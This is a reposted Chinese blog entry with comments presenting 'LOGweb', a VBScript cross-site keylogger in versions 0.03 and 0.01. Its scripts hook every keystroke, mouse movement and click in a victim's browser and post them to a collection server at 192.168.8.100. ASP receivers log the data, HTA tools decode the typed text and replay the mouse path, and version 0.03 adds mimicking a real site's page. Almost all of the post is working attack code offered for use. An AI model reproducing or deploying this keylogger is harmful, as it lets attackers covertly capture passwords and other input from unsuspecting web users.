LOGweb 0.03版–跨站?

鬼仔注:我记得vbs小铺好像是lcx的。这个LOGweb版比较好玩,看说明吧。
update:有更新了,0.01版放在后面了。
update(2007.7.3 19:42):又更新了,lcx还真是勤奋,嘿嘿。

来源:vbs小铺

LOGweb 0.03版

修正2个BUG, 1是键盘大小写区分。2是有的键盘值会超过2个数字,读取紊乱的问题。3是加了模拟原页面的功能和记录鼠标是否在哪按键了(位置肯定不太准确)。

1。更新keymouse.htm如下:(可以该成vbs,<script src=*.vbs >调用)

<SCRIPT LANGUAGE=vbs>
Function document_onkeypress
xml(window.event.keyCode)
End Function

Function document_onmousemove
xmlmouse(window.event.screenX&","&window.event.screenY)
End Function

Function document_onmousedown()
if window.event.button=1 then
xmlmouse(window.event.screenX&","&window.event.screenY&",leftclick")
else
xmlmouse(window.event.screenX&","&window.event.screenY&",rightclick")
end if
End Function

Function xmlmouse(data)
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
xmlhttp.open "post","http://192.168.8.100/mouse.asp?da="&data,false
xmlhttp.send
End Function

function xml(data)
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
xmlhttp.open "post","http://192.168.8.100/key.asp?da="&URLEncoding(data),false
xmlhttp.send
End Function

Function URLEncoding(vstrIn)
strReturn = ""
Dim i
For i = 1 To Len(vstrIn)
ThisChr = Mid(vstrIn, i, 1)

If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
Else
innerCode = Asc(ThisChr)

If innerCode < 0 Then
innerCode = innerCode + &H10000
End If

Hight8 = (innerCode And &HFF00) \ &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If

Next
strReturn = Replace(strReturn, Chr(32), "%20")
URLEncoding = strReturn
End Function

</script>

________________________________________________________

2。更新READkey.hta如下:

<script language=vbs>
Sub ascd()
Dim strTest
set fso = Createobject("Scripting.FileSystemObject")
path ="key.txt"
set file = fso.opentextfile(path, 1)
do while not file.atendofstream
strTest=file.readline
myHex = chr(strTest)

document.write myHex
loop
end sub
</script>

<form name=form1 method="post">
<input type=submit onclick=ascd() value="给我转">
</form>

_______________________________________________

3.READmouse.hta更新如下:

<INPUT style="RIGHT: 0px; POSITION: absolute; TOP: 0px" onclick=readlog() type=button value=播放>

<DIV id=mouse style="Z-INDEX: 1; WIDTH: 1px; POSITION: absolute; HEIGHT: 1px"><IMG height=21 src="mouse.gif" width=12></DIV>

<SCRIPT language=vbs>
dim j,K,q,pp
K=-1
dim ax(),ay(),awx(),awy()
pp=0

sub readlog()
set fso = Createobject("Scripting.FileSystemObject")
path ="mouse.txt"
set file = fso.opentextfile(path, 1)
j=0
q=0
do while not file.atendofstream

pos=file.readline
posxy=split(pos,",")
i=ubound(posxy)

if i=1 then '只是移动
redim Preserve ax(j)
redim Preserve ay(j)
ax(j)=posxy(0)
ay(j)=posxy(1)
j=j+1
else
if i=2 then

redim Preserve awx(q)
redim Preserve awy(q)

awx(q)=posxy(0)
awy(q)=posxy(1)
q=q+1

redim Preserve ax(j)
redim Preserve ay(j)
ax(j)=999
ay(j)=999
j=j+1
end if
end if
loop

file.close
set file = nothing
set fso = nothing

call play(0,0)
end sub

sub play(x,y)

mouse.style.pixelLeft=x
mouse.style.pixelTop=y
k=k+1
if k<j then
if ax(k)<>999 then
setTimeout "play("& ax(k) &","& ay(k) &")",100

end if
else
msgbox "game over"
end if
end sub

</SCRIPT>
<script language=vbs>
url = "http://www.haiyangtop.net" '该成你要模仿页面的url
Body = getHTTPPage(url)
document.write body

Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage = BytesToBstr(t, "GB2312")
End Function

Function GetBody(url)
On Error Resume Next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function

Function BytesToBstr(Body, Cset)
Dim objstream
Set objstream = CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write Body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
Set objstream = Nothing
End Function

</script>

4.其他文件不变

LOGweb 0.01版

因为有些问题没解决,所以是LOGweb0.01版,以后改进。主要是用vbscript记录鼠标轨迹和键盘字符。记录的键盘字符全部会变成大写:-),而且读出来的话,象回车的话在页面上不太能显示出来。

1。键盘鼠标记录keymouse.htm

<SCRIPT LANGUAGE=vbs>
Function document_onkeydown
xml(window.event.keyCode)
End Function

Function document_onmousemove
xmlmouse(window.event.screenX&","&window.event.screenY&windowsize)
End Function

Function xmlmouse(data)
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
xmlhttp.open "post","http://192.168.8.100/mouse.asp?da="&data,false
xmlhttp.send
End Function

function xml(data)
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
xmlhttp.open "post","http://192.168.8.100/key.asp?da="&URLEncoding(data),false
xmlhttp.send
End Function

Function URLEncoding(vstrIn)
strReturn = ""
Dim i
For i = 1 To Len(vstrIn)
ThisChr = Mid(vstrIn, i, 1)

If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
Else
innerCode = Asc(ThisChr)

If innerCode < 0 Then
innerCode = innerCode + &H10000
End If

Hight8 = (innerCode And &HFF00) \ &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If

Next
strReturn = Replace(strReturn, Chr(32), "%20")
URLEncoding = strReturn
End Function

</script>

2。两个接受文件key.asp和mouse.asp

<%
set fso = server.Createobject("Scripting.FileSystemObject")
path =server.mappath("key.txt")
set file = fso.opentextfile(path, 8,true)
file.writeline request.QueryString("da")
file.close
set file = nothing
set fso = nothing
%>

———————-

<%
set fso = server.Createobject("Scripting.FileSystemObject")
path =server.mappath("mouse.txt")
set file = fso.opentextfile(path, 8,true)
file.writeline request.QueryString("da")
file.close
set file = nothing
set fso = nothing
%>

3.读键盘记录READkey.hta

<script language=vbs>
Sub ascd()
Dim strTest
set fso = Createobject("Scripting.FileSystemObject")
path ="key.txt"
set file = fso.opentextfile(path, 1)
strTest=file.readall
strTest = replace(strtest,vbcrlf,"")
strtest=replace(strtest,chr(10),"")
strtest=replace(strtest,chr(13),"")
myHex = Hex2str(strTest)
document.write "<pre>"&myHex&"</pre>"

End sub

Function Hex2Str(hexStr)
Dim sstr,hextmp
For i = 1 To Len(hexStr) step 2
hexTmp = chr(Mid(hexStr,i,2))

sstr = sstr & hexTmp

Next
Hex2Str = sstr
End Function

</script>

<form name=form1 method="post">
<input type=submit onclick=ascd() value="给我转">
</form>

4.读鼠标轨迹READmouse.hta(用的czy82源码,没改)

<INPUT style="RIGHT: 0px; POSITION: absolute; TOP: 0px" onclick=readlog() type=button value=播放>

<DIV id=mouse style="Z-INDEX: 1; WIDTH: 1px; POSITION: absolute; HEIGHT: 1px"><IMG height=21 src="mouse.gif" width=12></DIV>

<SCRIPT language=vbs>
dim j,K,q,pp
K=-1
dim ax(),ay(),awx(),awy()
pp=0

sub readlog()
set fso = Createobject("Scripting.FileSystemObject")
path ="mouse.txt"
set file = fso.opentextfile(path, 1)
j=0
q=0
do while not file.atendofstream

pos=file.readline
posxy=split(pos,",")
i=ubound(posxy)

if i=1 then '只是移动
redim Preserve ax(j)
redim Preserve ay(j)
ax(j)=posxy(0)
ay(j)=posxy(1)
j=j+1
else
if i=2 then

redim Preserve awx(q)
redim Preserve awy(q)

awx(q)=posxy(0)
awy(q)=posxy(1)
q=q+1

redim Preserve ax(j)
redim Preserve ay(j)
ax(j)=999
ay(j)=999
j=j+1
end if
end if
loop

file.close
set file = nothing
set fso = nothing

call play(0,0)
end sub

sub play(x,y)

mouse.style.pixelLeft=x
mouse.style.pixelTop=y
k=k+1
if k<j then
if ax(k)<>999 then
setTimeout "play("& ax(k) &","& ay(k) &")",100

end if
else
msgbox "game over"
end if
end sub

</SCRIPT>

5。用的鼠标图象http://hiphotos.baidu.com/myvbscript/abpic/item/02ef818fa9aa23fd503d925e.jpg

相关日志

楼被抢了 7 层了... 抢座Rss 2.0或者 Trackback

  • lcx

    更新了。去我blog上看下吧

  • 鬼仔

    嗯,刚看到,更新了下~

  • lcx

    完工了。把LOGweb0.02版–跨站里的keymouse.htm再更新一下吧。再不弄了。

  • 鬼仔

    嗯,我也跟着更新了。

  • lcx

    怎么COPY的,03版你少copy了个2的部分。
    2。更新READkey.hta如下^^
    没想到你要转,转了出错了,人家好骂我了。嘿嘿^^^

  • 偶爱偶妻

    说句实话,订阅你的blog很久了,还是第一次留言啊!主题太鲜明了!

  • 鬼仔

    @lcx 郁闷,copy错了吗?我记得我当时有检查啊。刚又重新copy了,应该没错了吧~
    @偶爱偶妻 主题太明显?

发表评论